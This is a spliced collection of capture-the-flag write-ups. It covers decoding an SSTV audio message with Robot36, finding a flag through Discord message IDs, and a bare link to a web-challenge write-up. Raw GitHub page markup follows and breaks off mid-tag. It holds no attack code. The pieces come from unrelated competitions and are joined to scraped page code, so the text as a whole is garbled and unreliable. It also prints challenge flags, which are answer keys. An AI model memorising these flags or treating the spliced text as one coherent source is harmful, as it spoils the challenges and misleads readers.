## Extraterrestrial Communication (200 pts)(misc_mp3/Audio_Analysis)Aliens have recently landed on the moon and are attempting to communicate with us. Can you figure out what they are trying to tell us?audio file: https://dctf.dragonsec.si/files/3e7843af95192bfa26efbd783446e724/A_message_from_outer_space.mp3## Solution: As the chall said the audio might be SSTV. So i used QSSTV initially but it didn't work well do i shifted to Robot36. There is an app in playstore for Robot36 :https://play.google.com/store/apps/details?id=xdsopl.robot36&hl=en_IN&gl=US.I played the audio given and got an image. ![image](https://user-images.githubusercontent.com/78896740/118482031-d339e780-b731-11eb-94a0-02d6103c4345.png) it's not so clear so tried again and ended up with ![image](https://user-images.githubusercontent.com/78896740/118482075-e2209a00-b731-11eb-96ef-1f067d808b7e.png) flag:`dctf{what_ev3n_1s_SSTV}`
# hIDe and seek 2 ## Challenge: I've gotten some more good intel. Apparently, the following information is the location of another flag! First piece of info gg/4KcDWnUYMs Second piece of info 810237829564727312-810359639975526490 ## Solution: The first portion looks like a Discord invite. If we browse to https://discord.gg/4KcDWnUYMs we're invited to "sdctf admin chat" complete with a number of flags: We find out quickly that everything from `sdctf{m@st3R_h@Ck3R_0000}` through `sdctf{m@st3R_h@Ck3R_9999}` is listed: We'll need to use the second piece of information to narrow down which of these options is correct. After some searching, we can find that these match message IDs in Discord. This one, for `9999`, tells us we're getting close `810382777642909716`. If we choose Copy Message Link from the right side of the message, we can start crafting a link to jump right to the flag: ```bashhttps://discord.com/channels/810237829564727308/810237829564727312/810382777642909716``` We can replace the ID at the end with one of the IDs in the challenge: ```bashhttps://discord.com/channels/810237829564727308/810237829564727312/810237829564727312``` That one takes us to the beginning. But [this one](https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490) takes us right to the flag: `sdctf{m@st3R_h@Ck3R_4807}`.
[Original Writeup](https://github.com/snix0/dctf-writeups/blob/main/web/very-secure-website/very-secure-website.md) (https://github.com/snix0/dctf-writeups/blob/main/web/very-secure-website/very-secure-website.md)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" 